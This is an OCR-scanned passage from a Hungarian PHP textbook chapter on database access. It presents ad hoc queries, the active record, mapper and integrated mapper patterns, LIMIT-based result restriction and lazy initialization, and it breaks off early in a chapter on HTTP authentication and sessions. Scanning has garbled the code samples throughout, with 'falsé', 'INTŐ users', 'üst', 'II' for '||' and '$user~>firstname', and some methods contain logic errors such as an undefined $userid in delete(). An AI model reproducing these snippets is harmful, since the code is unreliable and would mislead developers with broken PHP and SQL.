A magam részéről egyik vélekedéssel sem értek egyet teljes mértékben. Az első megközelítésnél a legtöbb gondot az újraépítés és az újrahasznosítás jelenti. A PHP függvényekhez hasonlóan, ha egy kódrészlet többször is előfordul az alkalmazásban, az esetleges szerkezeti változtatásoknál ezek mindegyikét végig kell böngésznünk. Kódunk ezzel meglehetősen kezelhetetlenné válik. Az elvonatkoztatással szemben is könnyű érveket felhozni, hiszen alkalmazásával sokat veszthetünk. Ha valamit egy elvont rétegbe csomagolunk, minden bizonnyal vesztünk azokból a finom szabályzási lehetőségekből, melyek eredetileg rendelkezésünkre álltak. Az SQL igen hatékony programnyelv, és eléggé közismert ahhoz, hogy a fejlesztők megértsék és kényelmesen használják. Középen maradva a két szélsőség között éppen elég mozgásterünk adódik. A következőkben négy adatbázis-elérési mintát mutatunk be - a véletlen vagy ad hoc lekérdezéseket, valamint az aktív rekord, a leképező és az egyesített leképező mintát -, melyekkel kielégíthetjük a legegyszerűbb feladatok igényeit, de sikerrel oldhatunk meg bonyolult objektum-adat leképezési problémákat is.

Ad hoc lekérdezések
A véletlen lekérdezések {ad hoc lekérdezések) szigorú értelemben véve nem alkotnak mintát, de a leírtak így is sok esetben hasznunkra lehetnek. Mindenekelőtt fontos tudnunk, hogy ad hoc lekérdezés alatt olyan lekérdezést értünk, melyet a kód egy bizonyos helyén egy meghatározott feladat elvégzésére írunk. így például az alábbi eljárásban szereplő lekérdezés, mellyel a users táblában az országot frissítjük, ad hoc jellegűnek tekinthető:
function setUserCountryCode($userid, $countrycode) { $dbh = new DB_Mysql_Test; $query = "UPDATE users SET countrycode = :1 WHERE userid = :2"; $dbh->prepare($query)->execute($countrycode, $userid); }

A véletlen lekérdezésektől nem kell eleve tartanunk. Sőt, mivel az ilyen megoldások rendszerint egy adott, egyedi feladatra születnek, hangolásuk (az SQL szintjén) könnyebb, mint az általánosabb megoldásoké. Arra azonban ügyelnünk kell, hogy az ilyen kódok szeretnek „elszaporodni" alkalmazásainkban. Először csak egyet használunk itt, majd még egyet amott, végül azután oda juthatunk, hogy 20 különböző lekérdezésünk lesz, melyek mind a users tábla countrycode oszlopát módosítják. Ez valóban gondot jelent, hiszen nagyon nehéz mindezeket a kódrészleteket elérnünk, ha a users táblát átrendezzük. Jómagam meglehetősen gyakran használok ad hoc kódrészleteket, hasonlóan számos profi programozóhoz. Ahhoz azonban, hogy kezelhetők legyenek, elvégzett feladataik és

12. fejezet • Adatbázisok használata

333

az általuk módosított adatok szerint csoportosítva központosított könyvtárakban kell tárolni őket. így, ha a users táblát módosító lekérdezések egyetlen fájlban, egy központi helyen találhatók, a tábla átrendezésénél is könnyebb dolgunk lesz.

Az aktív rekord minta
Gyakran előfordul, hogy olyan osztályaink vannak, melyek közvetlenül megfelelnek egy adatbázis sorainak. Ilyen esetekben érdemes összekötnünk valamiképpen az objektum és az adatbázis elérését. Az aktív rekord minta éppen ezt teszi - egy objektum minden adatbázis-elérését egy osztályba sűríti. Az aktív rekord minta lényege, hogy az osztályban szerepel egy insert (), egy update (), valamint egy delete () tagfüggvény, melyekkel összhangba hozhatjuk az objektumot a megfelelő sorral. Rendelkezünk továbbá néhány keresőfüggvénnyel is, melyekkel objektumot készíthetünk a sorok tartalmából, egy megadott változó alapján. Lássunk most egy példát. íme a User osztály, amely a korábban megismert users tábára épül:
require_once "DB.inc"; class User { public $userid; public $username; public $firstname; public $lastname; public $salutation; public $countrycode;

public static function findByUsername($username) { $dbh = new DB_Mysql_Test; $query = "SELECT * from users WHERE username = :1"; list($userid) = $dbh->prepare($query)->execute($username) ->fetch_row(); if(!$userid) { throw new Exception("no such user"); } return new User($userid); } public function _ construct($userid = falsé) { if(!$userid) { return; }

334

PHP fejlesztés felsőfokon

$dbh = new DB_Mysql_Test; $query = "SELECT * from users WHERE userid = :1"; $data = $dbh->prepare($query)->execute($userid)->fetch_assoc(); foreach( $data as $attr => $value ) { $this->$attr = $value; } } public function update() { if(!$this->userid) { throw new Exception("User needs userid to call update()"); } $query = "UPDATE users SET username = :1, firstname = :2, lastname = :3, salutation = :4, countrycode = :5 WHERE userid = :6"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($this->username, $this->firstname, $this->lastname, $this->salutation, $this->countrycode, $this->userid) ; } public function insertO { if($this->userid) { throw new Exception("User object has a userid, can't insert"); } $query = "INSERT INTŐ users (username, firstname, lastname, salutation, countrycode) VALUES(:1, :2, :3, :4, : 5) " ; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($this->username, $this->firstname, $this->lastname, $this->salutation, $this->countrycode); üst ($this->userid) = $dbh->prepare("select last_insert_id()")->execute() ->fetch_row(); } public function delete() { if(!$this->userid) { throw new Exception("User object has no userid"); } $query = "DELETE FROM users WHERE userid = :1"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($this->userid); } }

12. fejezet • Adatbázisok használata

335

A User osztály használata egyszerű. Ha egy felhasználót példányosítani szeretnénk az azonosítója alapján, csak adjuk át azt a konstruktornak: $user = new U s e r ( l ) ; Ha egy felhasználó adatait a neve alapján szeretnénk megkeresni, az objektum létrehozásához a statikus f indByUsername tagfüggvényt használhatjuk:
$user = User::findByUsername('george');

Ha rögzítenünk kell az objektum aktuális állapotát, az update () tagfüggvény hívásával tehetjük meg. Az alábbi példában saját lakhelyemet Németországba helyezem át:
Suser = User::findByUsername('george'); $user->countrycode = 'de'; $user->update();

Ha egy teljesen új User objektumot készítünk, példányosítanunk kell, megadni a részleteit (a $userid kivételével, melyet az adatbázis határoz meg), majd meghívni az insert () tagfüggvényt. Az alábbi kódrészlettel Zak Greant számára készítünk egy User objektumot:
$user = new User; $user->firstname = 'Zak'; $user->lastname = 'Greant'; $user->username = 'zak'; $user->countrycode = 'ca'; $user->salutation = 'M.'; $user->insert();

Az aktív rekord minta különösen jól használható olyan osztályok esetében, melyek egyszerű kapcsolatban állnak egyes sorokkal az adatbázisból. Egyszerűsége és eleganciája népszerűvé teszi az egyszerű adatmodellekben, így nem meglepő módon számos saját munkámban is használom.

A leképező minta
Az aktív rekord minta feltételezi, hogy egyszerre csak egyetlen táblával dolgozunk. A gyakorlati életben azonban az adatbázis-szerkezet és az osztályhierarchia gyakran egymástól függetlenül fejlődik. Ez amellett, hogy elkerülhetetlen, nem mindig káros hatású. Az, hogy külön-külön átalakíthatjuk az adatbázist és az alkalmazást, valójában inkább jótétemény. A leképező mintával olyan osztályt készíthetünk, mellyel egy objektumot egy meghatározott adatbázis-szerkezetbe menthetünk.

336

PHP fejlesztés felsőfokon

E minta legnagyobb előnye, hogy segítségével teljesen elválaszthatjuk az objektumot az adatbázis szerkezetétől. Az osztálynak így semmit sem kell tudnia arról, milyen alakban tárolódnak az adatai, így nyugodtan haladhat a maga fejlődési útján. Ez a minta azonban nemcsak teljesen leválasztott adatmodellekhez alkalmazható. A legegyszerűbb példa erre egy olyan aktív rekord osztály, melyről leválasztottuk az adatbáziselérési eljárásokat. Erre mutatunk példát a korábban megismert User osztály két részre bontásával - az egyik rész (User) az alkalmazás kódját tartalmazza, míg a másik (UserMapper) az User objektum és az adatbázis közti adatcseréért felel:
require_once "DB.inc"; class User { public $userid; public $username; public $firstname; public $lastname; public $salutation; public $countrycode; public function __construct($userid = falsé, $username = falsé, $firstname = falsé, $lastname = falsé, $salutation = falsé, $countrycode = falsé) { $this->userid = $userid; $this->username = $username; $this->firstname = $firstname; $this->lastname = $lastname; $this->salutation = $salutation; $this->countrycode = $countrycode; } } class UserMapper { public static function findByUserid($userid) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users WHERE userid = :1"; $data = $dbh->prepare($query)->execute($userid)->fetch_assoc(); if(!$data) { return falsé; } return new User($userid, $data['username'], $data['firstname'], $data['lastname'], $data['salutation'], $data['countrycode']); }

12. fejezet • Adatbázisok használata

337

public static function findByUsername($username) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users WHERE username = :1"; $data = $dbh->prepare($query)->execute($username)->fetch_assoc(); if(!$data) { return falsé; } return new User($data['userid1] , $data['username'], $data['firstname'], $data['lastname'], $data['salutation'], $data['countrycode']); } public static function insert(User $user) { if($user->userid) { throw new Exception("User object has a userid, can't insert"); } $query = "INSERT INTŐ users (username, firstname, lastname, salutation, countrycode) VALUES(:1, :2, : 3, : 4 , : 5 ) " ; $dbh = new DB_Mysql_Test ,$dbh->prepare($query)->execute($user->username, $user->firstname, $user->lastname, $user->salutation, $user->countrycode); list($user->userid) = $dbh->prepare("select last_insert_id()")->execute() ->fetch_row(); } public static function update(User $user) { if(!$user->userid) { throw new Exception("User needs userid to call update()"); } $query = "UPDATE users SET username = :1, firstname = :2, lastname = :3, salutation = :4, countrycode = :5 WHERE userid = :6"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($user->username, $user->firstname, $user->lastname, $user->salutation, $user->countrycode, $user->userid); } public static function delete(User $user) { if ( !$user->userid) {

338

PHP fejlesztés felsőfokon

throw new Exception("User object has no userid"); } $query = "DELETE FROM users WHERE userid = :1"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($userid) ; } }

A User objektum semmit nem tud arról, milyen bejegyzések felelnek meg a tartalmának az adatbázisban. Ezért hát, ha át kell alakítanunk az adatbázis szerkezetét, nem is kell ehhez az objektumhoz hozzányúlnunk, elég a UserMapper-rel foglalkoznunk. Hasonlóan, a User átalakításánál semmiféle módosításra nincs szükség az adatbázis szerkezetében. Végeredményben tehát a leképező minta hasonlít a 2. fejezetben megismert illesztő mintához - ez is két dolgot köt össze, melyeknek nem kell semmit tudniuk egymásról. Itt a következők szerint állíthatjuk vissza lakhelyemet az Egyesült Államokra:
$user = UserMapper::findByUsername('george'); $user->countrycode = 'us'; UserMapper::update($user);

Az újraépítés e minta használata esetén igen egyszerűen végrehajtható. Tegyük fel például, hogy a User objektumban a felhasználó országának ISO kódja helyett a nevét szeretnénk használni. Az aktív rekord alkalmazásánál vagy a háttérben levő users táblát kell módosítanunk, vagy el kell térnünk a mintától valamilyen ad hoc lekérdezéssel vagy elérőfüggvénnyel. A leképező mintában mindössze a UserMapper osztály tárolási eljárásait kell átírnunk. Lássuk előző példánkat az újraépítés után:
class User { public $userid; public $username; public $firstname; public $lastname; public $salutation; public $countryname; public function __construct($userid = falsé, $username = falsé, $firstname = falsé, $lastname = falsé, $salutation = falsé, $countryname = falsé) { $this->userid = $userid; $this->username = $username; $this->firstname = $firstname; $this->lastname = $lastname; $this->salutation = $salutation;

12. fejezet * Adatbázisok használata

339

$this->countryname = $countryname; } } class UserMapper { public static function findByUserid($userid) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users u, countries c WHERE userid = :1 AND u.countrycode = c.countrycode"; $data = $dbh->prepare($query)->execute($userid)->fetch_assoc(); if(!$data) { return falsé; } return new User($userid, $data['username'], $data['firstname'], $data['lastname'], $data['salutation'], $data['name']); } public static function findByUsername($username) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users u, countries c WHERE username = :1 AND u.countrycode = c.countrycode"; $data = $dbh->prepare($query)->execute($username)->fetch_assoc(); if(!$data) { return falsé; } return new User($data['userid'], $data['username'], $data['firstname'], $data['lastname'], $data['salutation'], $data['name']); } public static function insert(User $user) { if ($user->userid) { throw new Exception("User object has a userid, can't insert"); } $dbh = new DB_Mysql_Test; $cc_query = "SELECT countrycode FROM countries WHERE name = :1"; list ($countrycode) = $dbh->prepare($cc_query)->execute($user->countryname) ->fetch_row(); if(!$countrycode) { throw new Exception("Invalid country specified"); }

340

PHP fejlesztés felsőfokon

$query = "INSERT INTŐ users (username, firstname, lastname, salutation, countrycode) VALUES(:1, :2, :3 , :4 , : 5 ) " ; $dbh->prepare($query)->execute($user->username, $user->firstname, $user->lastname, $user->salutation, $countrycode) ; list($user->userid) = $dbh->prepare("select last_insert_id()")->execute() ->fetch_row(); } public static function update(User $user) { if ( !$user->userid) { throw new Exception("User needs userid to call update()"); } $dbh = new DB_Mysql_Test; $cc_query = "SELECT countrycode FROM countries WHERE name = : 1" ; list($countrycode) = $dbh->prepare($cc_query)->execute($user->countryname) ->fetch_row(); if(!$countrycode) { throw new Exception("Invalid country specified"); } $query = "UPDATE users SET username = :1, firstname = :2, lastname = :3, salutation = :4, countrycode = :5 WHERE userid = :6"; $dbh->prepare($query)->execute($user->username, $user~>firstname, $user->lastname, $user->salutation, $countrycode, $user->userid); } public static function delete(User $user) { if(!$user->userid) { throw new Exception("User object has no userid"); } $query = "DELETE FROM users WHERE userid = :1"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($userid); } }

Figyeljük meg, hogy a User osztályt a lehető legegyszerűbben módosítottuk - eltávolítottuk a $countrycode tulajdonságot, és beillesztettük a $countryname-et. Minden munkát a tárolófüggvényekben végeztünk. A f indByUsername () úgy módosult, hogy ez-

12. fejezet • Adatbázisok használata

341

után nem csak a felhasználó rekordját olvassa ki, hanem megkeresi a megfelelő rekordot a countries táblában is. Hasonlóan, az insert () és az update () tagfüggvények is megkeresik az ország kódját, és ezt is frissítik. A leképező minta előnyei az alábbiak: • Példánkban a User osztály semmilyen gondot nem kellett fordítson a felhasználók adatainak adatbázisbeli tárolására. Következésképpen ebben az osztályban semmiféle SQL, illetve adatbázissal foglalkozó kódnak nem kell szerepelnie. Mindez jelentősen megkönnyíti az SQL kód hangolását, valamint a háttéradatbázis esetleges cseréjét. • Példánkban a users tábla adatbázisbeli szerkezetének nem kellett igazodnia a User osztály változásaihoz. Ez a szétválasztás lehetővé teszi, hogy az adatbázisfejlesztés és az alkalmazás programozása egymástól függetlenül folyhasson. Előfordulhat persze, hogy az osztályszerkezet bizonyos változásai csökkentik a leképező osztály SQL kódjainak hatékonyságát, de az adatbázis szerkezetének ezt követő újraépítése nem hat vissza a User osztályra. A leképező minta hátulütője a működéséhez szükséges meglehetősen terjedelmes környezet. Ahhoz, hogy kövessük ezt a mintát, minden összetett adattípushoz készítenünk kell egy leképező osztályt, ami megteremti a kapcsolatot az adatbázisbeli megfelelőjével. Nos, webes környezetben ez kissé túlzásnak tűnik. Persze, hogy mennyire túlzás, azt valójában az alkalmazás mérete és bonyolultsága adja meg. Minél összetettebb objektumokról és leképezésekről van szó, és minél többször hasznosítják újra a kódot, annál többet nyerünk e rugalmas, bár nagyméretű infrastruktúrán.

Az egyesített leképező minta
Az aktív rekord minta esetében az objektum közvetlen kapcsolatban áll az adatbázissal, vagyis tartalmazza mindazokat a tagfüggvényeket, melyek segítségével elérheti és módosíthatja saját megjelenítését az adatbázisban. A leképező mintában ezek a feladatok egy külső osztályra hárulnak, ami gondokat jelenthet számos PHP alkalmazásban. Egyszerű alkalmazásokban ugyanis egy újabb réteg, ami elválasztja az adatbázis megvalósítását az alkalmazás kódjától, kissé túlzásnak tűnhet. Jelentős költségekkel jár, és a kódot talán túlságosan is bonyolulttá teszi. Az egyesített leképező minta valamiféle kompromisszum a leképező és az aktív rekord minták között, amely laza csatolást létesít az osztály és a hozzá tartozó adatbázisbeli szerkezet között úgy, hogy az adatbázis eléréséhez szükséges kódot beépíti az osztály szerkezetébe. íme, a User osztály megvalósítása az egyesített leképező minta szellemében: class User {
public $userid; public $username;

342

PHP fejlesztés felsőfokon

public public public public

$firstname; $lastname; $salutation; $countryname;

public function _ construct($userid = falsé) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users u, countries c WHERE userid = :1 AND u.countrycode = c.countrycode"; $data = $dbh->prepare($query)->execute($userid)->fetch_assoc(); if(!$data) { throw new Exception("userid does not exist"); } $this->userid = $userid; $this->username = $data['username']; $this->firstname = $data['firstname']; $this->lastname = $data['lastname']; $this->salutation = $data['salutation']; $this->countryname = $data['name']; } public static function findByUsername($username) { $dbh = new DB_Mysql_Test; $query = "SELECT userid FROM users u WHERE username = :1"; list($userid) = $dbh->prepare($query)->execute($username) «» ->fetch_row(); if(!$userid) { throw new Exception("username does not exist"); } return new User($userid); } public function update() { if(!$this->userid) { throw new Exception ("User needs userid to call updateO"); } $dbh = new DB_Mysql_Test; $cc_query = "SELECT countrycode FROM countries WHERE name = :1"; list($countrycode) = $dbh->prepare($cc_query)->execute($this->countryname) *•• ->f etch_row() ; if(!$countrycode) { throw new Exception("Invalid country specified"); }

12. fejezet • Adatbázisok használata

343

$query = "UPDATE users SET username = :1, firstname = :2, lastname = :3, salutation = :4, countrycode = :5 WHERE userid = :6"; $dbh->prepare($query)->execute($this->username, $this->firstname, $this->lastname, $this->salutation, $countrycode, $this->userid); } /* frissítés és törlés */ // . . . }

A kód meglehetősen ismerősnek tűnhet, hiszen gyakorlatilag teljesen az aktív rekord minta alapján készült User osztály, valamint a UserMapper osztály adatbázis-kezelő kódjának egyesítéséből áll. Meglátásom szerint az, hogy a leképező részt az osztály belsejében vagy különálló egységként valósítjuk meg, csak programozási stílus kérdése. Amellett, hogy a tisztán leképező minta eleganciája vonzó számomra, az aktív rekord és az egyesített leképező minták megegyező felülete olyan egyszerűvé teszi az újraépítést, hogy mégis ezeket alkalmazom a leggyakrabban.

Az adatbázis-elérés hatékonyságának növelése
A legtöbb olyan alkalmazás esetében, melynek fejlesztésében részt vettem, a teljesítmény terén leginkább az adatbázis-elérés jelentette a szűk keresztmetszetet. Ennek oka egyszerű: számos webes alkalmazásban a tartalom dinamikus, és forrása egy adatbázisban található. Lehet villámgyors a hálózati elérés, az adatok letöltése egy csatolón keresztül mindig lassabb lesz, mintha a helyi memóriából olvasnánk ki azokat. A 9., 10. és 11. fejezetekben számos módszen tanultunk arra, miképpen növeljük alkalmazásaink teljesítményét gyorstárak használatával. Akármilyen nagyszerű gyorstárakat is használunk azonban, fontos feladatunk, hogy az adatbázis-kapcsolatokat a lehető leggyorsabbá tegyük. A következőkben megismerkedünk néhány módszerrel, melyek segítenek a lekérdezések teljesítményének növelésében.

Az eredményhalmaz korlátozása
A lekérdezések teljesítményének növelésére az egyik legegyszerűbb módszer az eredményhalmaz korlátozása. Lássunk egy példát! Tegyük fel, hogy van egy fórumprogramunk, amelyben ki szeretnénk olvasni az N. és az N+M. közötti üzeneteket. A fórum adatait tartalmazó tábla a következőképpen fest:
CREATE TABLE forum_entries ( id int not null autó increment, author varchar(60) not null, posted_at timestamp not null default now(). data text );

344

PHP fejlesztés felsőfokon

Az üzenetek időbélyegzők szerint rendezettek-és a bejegyzések törölhetők, így nem érhetünk célt, ha egyszerűen a postázási időbélyegek tartományát próbáljuk kiválasztani. Az ilyen tartományok kiolvasására gyakran az alábbi kódot használják:
function returnEntries($start, $numrows) { $entries = array(); $dbh = new DB_Mysql_Test; $query = "SELECT * FROM forum_entries ORDER BY posted_at"; $res = $dbh->execute($query); while($data = $res->fetch_assoc()) { if ( $i++ < $start II $i > $start + $numrows ) { continue; } array_push($entries, new Entry($data)); } return $entries; }

A gond ezzel a módszerrel az, hogy végül azon kapjuk magunkat, hogy gyakorlatilag a forum_entries összes sorát kiolvastuk. Még abban az esetben is, ha a keresés a $i > $end feltétellel véget ér, a $end értékéig minden sort kiolvastunk. így ha például 10 000 fórumüzenetünk van, melyek közül a 9980-10000. sorszámúakat szeretnénk megjeleníteni, meglehetősen lassú folyamat veszi kezdetét. Ha az átlagos üzenet mérete 1 KB, 10 000 ilyen üzenet kiolvasása 10 MB-nyi adat hálózati átvitelét jelenti. Nos, ez igencsak soknak tűnik a 20 keresett bejegyzéshez képest. Ügyesebb megoldás, ha magában a lekérdezésben korlátozzuk a SELECT utasítást. A MySQL-ben ez nem nehéz feladat, hiszen alkalmazhatjuk a SELECT utasítás LIMIT záradékát az alábbiak szerint:
function returnEntries($start, $numrows) { $entries = array(); $dbh = new DB_Mysql_Test; $query = "SELECT * FROM forum_entries ORDER BY posted_at LIMIT :1, :2"; $res = $dbh->prepare($query)->execute($start, $numrows); while($data = $res->fetch_assoc()) { array_push($entries, new Entry($data)); } return $entries; }

12. fejezet • Adatbázisok használata

345

A LIMIT nem része az SQL92 szabványnak, így elképzelhető, hogy rendszerünkön nem elérhető. Az Oracle rendszereken például az alábbihoz hasonló lekérdezést kell írnunk:
$query = "SELECT a.* FROM (SELECT * FROM forum_entries ORDER BY posted_at) a WHERE rownum BETWEEN :1 AND :2";

Ugyanez az okoskodás igaz a kiválasztott mezőkre is. A f orum_entries esetében valószínűleg az összes mezőre szükségünk lesz. Máskor azonban, különösen, ha a tábla széles (ami azt jelenti, hogy több varchar vagy LOB típusú oszlopot tartalmaz), ügyelnünk kell arra, hogy ne olvassunk ki olyan mezőket, amelyekre semmi szükségünk. A SELECT * használata szintén ellenjavallt, hiszen jelenléte olyan kódhoz vezethet, ami függ az eredményként kapott sor mezőinek helyzetétől. Sajnos ezek a mezőhelyzetek a tábla módosulásánál változhatnak (például ha egy oszlopot beillesztünk vagy eltávolítunk). Ezen a gondon persze könnyen úrrá lehetünk, mindössze annyit kell tennünk, hogy az eredményként kapott sorokat társításos tömbökbe írjuk. Ne feledjük: bármilyen adat, amit a SELECT utasítással kapunk, át kell jöjjön a hálózaton, és fel kell dolgozza a PHP. Azt se feledjük, hogy az eredményhalmaz mind a kiszolgálón, mind az ügyfélgépen memóriát foglal. A hálózat és a memória költségei könnyen magassá válhatnak, így fontos, hogy mindig tudjuk, pontosan milyen adatokat olvasunk ki.

Lusta előkészítés
A jól bevált lusta előkészítés (lazy initialization) alapja az, hogy addig nem olvassuk ki az adatokat, amíg nincs szükségünk rájuk. Természetesen ez különösen akkor lehet hasznos, ha a kívánt adatok átvitele költséges, és csak alkalmanként van szükség rájuk. Jó példa erre a keresőtáblák esete. Ha például egy kétirányú megfeleltetést szeretnénk készíteni az országok nevei és ISO kódjai között, az alábbi Countries könyvtárat hozhatjuk létre:
class Countries { public static $codeFrornName = array () ; public static $nameFromCode = array(); public static function populate() { $dbh = new DB_Mysql_Test; $query = "SELECT name, countrycode FROM countries"; $res = $dbh->execute($query)->fetchall_assoc(); foreach($res as $data) { self::$codeFromName[$data['name']] = $data['countrycode']; self::$nameFromCode[$data['countrycode']] = $data['name']; } } } Countries::populate();

346

PHP fejlesztés felsőfokon

A populate () függvényt, melynek feladata a tábla feltöltése, akkor hívjuk meg, amikor a könyvtárat először betöltjük. Lusta előkészítésnél az ország nevét egészen addig nem keressük meg, míg valóban nincs rá szükség. íme egy olyan megoldás, amely elérőfüggvényeket használ a tábla feltöltésére és az eredmények tárolására:
class Countries { priváté static $nameFromCodeMap = array(); public static function nameFromCode($code) { if(!in_array($code, self : :$nameFromCodeMap)) { $query = "SELECT name FROM countries WHERE countrycode = :1"; $dbh = new DB_Mysql_Test; list ($name) = $dbh->prepare($query)->execute($code) ->fetch_row(); self::$nameFromCodeMap[$code] = $name; if($name) { self::$codeFromNameMap[$name] = $code; } } return self::$nameFromCodeMap[$code]; } public static function codeFromName($name) { if(!in_array($name, self::$codeFromNameMap)) { $query = "SELECT countrycode FROM countries WHERE name = :1"; $dbh = new DB_Mysql_Test; list ($code) = $dbh->prepare($query)->execute($name) ->fetch_row(); self::$codeFromNameMap[$name] = $code; if($code) { self::$nameFromCodeMap[$code] = $name; } } return self::$codeFromNameMapt$name]; } }

A lusta előkészítés másik alkalmazási területét az olyan táblák képezik, amelyek nagyméretű mezőket tartalmaznak. Példának okáért webnaplózó programom a bejegyzések tárolására az alábbi táblát használja:
CREATE TABLE entries ( id int(10) unsigned NOT NULL auto_increment, title varchar(200) default NULL,

12. fejezet • Adatbázisok használata

347

timestamp int(10) unsigned default NULL, body text, PRIMARY KEY (id) );

Készítettem egy Entry nevű, az aktív rekord mintán alapuló osztályt, ami a tábla sorainak megjelenítéséért felel. Az Entry objektum timestamp és title mezőit gyakran használom, de a body mezőre ritkán van szükség. így például, ha mutatót szeretnék készíteni a bejegyzésekből, csak a címeikre és időpontjaikra van szükség. Mivel a body mező meglehetősen nagy lehet, semmi értelme kiolvasni, hiszen nem is használjuk a későbbiekben. Ez különösen igaz mutatók készítésénél, amikor több tíz vagy több száz bejegyzést olvasunk ki. Annak érdekében, hogy ezt a pazarló viselkedést elkerüljük, a body mezőt lustán készítjük el. Alábbi példánk a____get () és a____ set () túlterhelt tulajdonságelérő (overloaded attribute accessor) függvényeket használja, így teljességgel elrejti a lusta előkészítést a felhasználók elől:
class Entry { public $id; public $title; public $timestamp; priváté $_body; public function _ construct($id = falsé) { if(!$id) { return; } $dbh = new DB_Mysql_Test; $query = "SELECT id, title, timestamp FROM entries WHERE id = : 1" ; $data = $dbh->prepare($query)->execute($id)->fetch_assoc() ; $this->id = $data['id']; $this->title = $data['title']; $this->timestamp = $data['timestamp']; } public function __get($name) { if($name == 'body') { if($this->id && !$this->_body) { $dbh = new DB_Mysql_Test; $query = "SELECT body FROM entries WHERE id = :1"; list($this->_body) = $dbh->prepare($query)->execute($this->id)->fetch_row(); }

348

PHP fejlesztés felsőfokon

return $this->_body; } } public function _ set($name, $value) {

if($name == 'body') { $this->_body = $value;
} }

/** az aktív rekord minta update(), deleteO és insert() függvényeit kihagytuk **/
}

Ha az Entry objektumot az id szerint példányosítjuk, a body kivételével minden mezőt megkapunk. Mindazonáltal, ha ez utóbbi mezőt szeretnénk kiolvasni, a túlterhelt elérőfüggvények ezt megteszik, és az eredményt a privát $_body változóban tárolják. A túlterhelt elérőfüggvények használata hihetetlenül hatékony módszer, hiszen teljességgel rejtve marad a végfelhasználó elől, leegyszerűsítve ezzel az osztály, illetve az adatbázis esetleges újraépítését.

További olvasmányok
Az aktív rekord és a leképező mintákat Martin Fowler Patterns of Enterprise Application Development című könyvéből vettem, mely kedvenc olvasmányaim egyike. Nagyszerű leírást ad a tervezési mintákról, különösen az adatok és az objektumok közti megfeleltetésekben használtakról. Az adatbázisok, sőt az SQL finomhangolása jelentősen eltérhet attól függően, hogy milyen adatbázis-kezelő rendszert használunk, ezért mindig olvassuk el rendszerünk dokumentációját, és keressük az adott területen jónak tartott könyveket. Jeremy Zawodny és Derek J. Balling hamarosan megjelenő High Performance MySQL című könyve várhatóan alapmű lesz a magas szintű MySQL finomhangolás területén. Nem szabad persze megfeledkeznünk a MySQL hálózati dokumentációjáról sem, melyet a ht tp: / /www .mysql.com címen érhetünk el. Az Oracle-felhasználók számára kötelező olvasmány Guy Harrison Oracle SQL High-Performance Tuning, valamint Jonathan Lewis Practical Oracle 81: Building Efficient Databases című könyve. Az SQL-lel általánosságban foglalkozó könyvek közül kiemelném Péter Gulutzan és Trudy Pelzer SQL Performance Tuning című művét. (Magyarul SQL teljesítményfokozás címen, a Kiskapu Kiadó gondozásában jelent meg.) Ebben olyan tippeket találhatunk, melyek nyolc ismertebb relációs adatbázis-kezelő rendszer (köztük a DB2, az Oracle, az MSSQL és a MySQL) esetében 10%-os teljesítménynövekedést garantálnak.

A felhasználók hitelesítése és a munkamenetek biztonsága
Mindannyian tudjuk, hogy a Világháló protokollja a HTTP. Ez az a protokoll, melynek segítségével a böngészők és a webkiszolgálók kicserélhetik adataikat. Minden bizonnyal arról is hallottunk, hogy a HTTP állapot nélküli protokoll. A HTTP nem őriz meg semmiféle állapotadatot két kérelem között, valójában egy egyszerű kérelem-válasz protokoll. Az ügyfél böngészője egy kérelmet küld a webkiszolgálónak, az válaszol rá, és ezzel az adatcserének vége. Mindez persze azt is jelenti, hogy ha egymás után két HTTP GET parancsot adunk egy webkiszolgálónak, a protokoll semmilyen módon nem képes ezeket egymáshoz kötni. Sokan úgy gondolják, hogy a maradandó kapcsolatok megoldást kínálnak erre a problémára, és lehetővé teszik, hogy megőrizzük az állapotadatokat. Sajnálatos módon azonban ez nem igaz. Jóllehet a kapcsolat valóban kiépítve marad, a kérelmek kezelése egymástól teljesen függetlenül történik. Az állapot hiánya több alapvető gondot is felvet: • Hitelesítés - Mivel a protokoll nem képes kapcsolatot teremteni a kérelmek között, az A kérelem kiadójának hitelesítése után nincs módja eldönteni, hogy egy későbbi B kérelmet ugyanaz a személy adott-e ki. • Maradandóság - A legtöbben arra használják a Webet, hogy feladatokat végezzenek el. A feladat természeténél fogva valaminek az állapotát próbálja megváltoztatni (hiszen egyébként nem tennénk semmit). A kérdés csak az, miként eszközölhetünk változtatásokat, különösen több lépésből állókat, ha nincsenek állapotok? A fenti gondok megjelenése nagyszerűen nyomon követhető a hálózati áruházak (e-boltok) példáján. Itt az alkalmazásnak hitelesítenie kell a felhasználót, hiszen pontosan tudnia kell, kivel áll szemben (meg kell találnia ugyanis a felhasználó személyes adatait, így a címét, valamint a hitelkártyája számát). Léteznek továbbá olyan adatok - például a bevásárlókocsi tartalma - melyeket meg kell őrizni a kérelmek között.

350

PHP fejlesztés felsőfokon

A fenti gondokra a megoldást mi magunk adhatjuk meg azzal, hogy valamilyen módon megvalósítjuk az állapotokat. Szerencsére ez nem olyan nehéz feladat, mint amilyennek elsőre látszik. A hálózati protokollok gyakran állapotokkal rendelkező rétegekből állnak, melyek állapot nélküliekre épülnek, illetve fordítva. így például a HTTP egy alkalmazásszintű protokoll (vagyis olyan, melynek segítségével két alkalmazás - a böngésző és a webkiszolgáló - képes adatokat cserélni), ami a TCP-re épül. A TCP ugyanakkor rendszerszintű protokoll (ami azt jelenti, hogy a végpontok operációs rendszerek), amely rendelkezik állapotokkal. Ha két gép között létrejön egy TCP kapcsolat, az olyan, mint egy beszélgetés. Az üzenetek oda-vissza haladnak egészen addig, míg az egyik résztvevő ki nem lép. A TCP az IP-re épül, ami ismét csak állapot nélküli protokoll. A TCP állapotait úgy valósítja meg, hogy csomagjaiban sorozatszámokat küld. Ezek a számok (továbbá a végpontok hálózati címei) lehetővé teszik mindkét oldal számára, hogy értesüljenek arról, ha lemaradtak a beszélgetés valamely részéről. A sorozatszámok lehetőséget adnak egyúttal a hitelesítésre is, így mindkét oldal tudhatja, hogy folyamatosan ugyanazzal a partnerrel beszél. Mindez persze azt is jelenti, hogy ha ezek a sorozatszámok 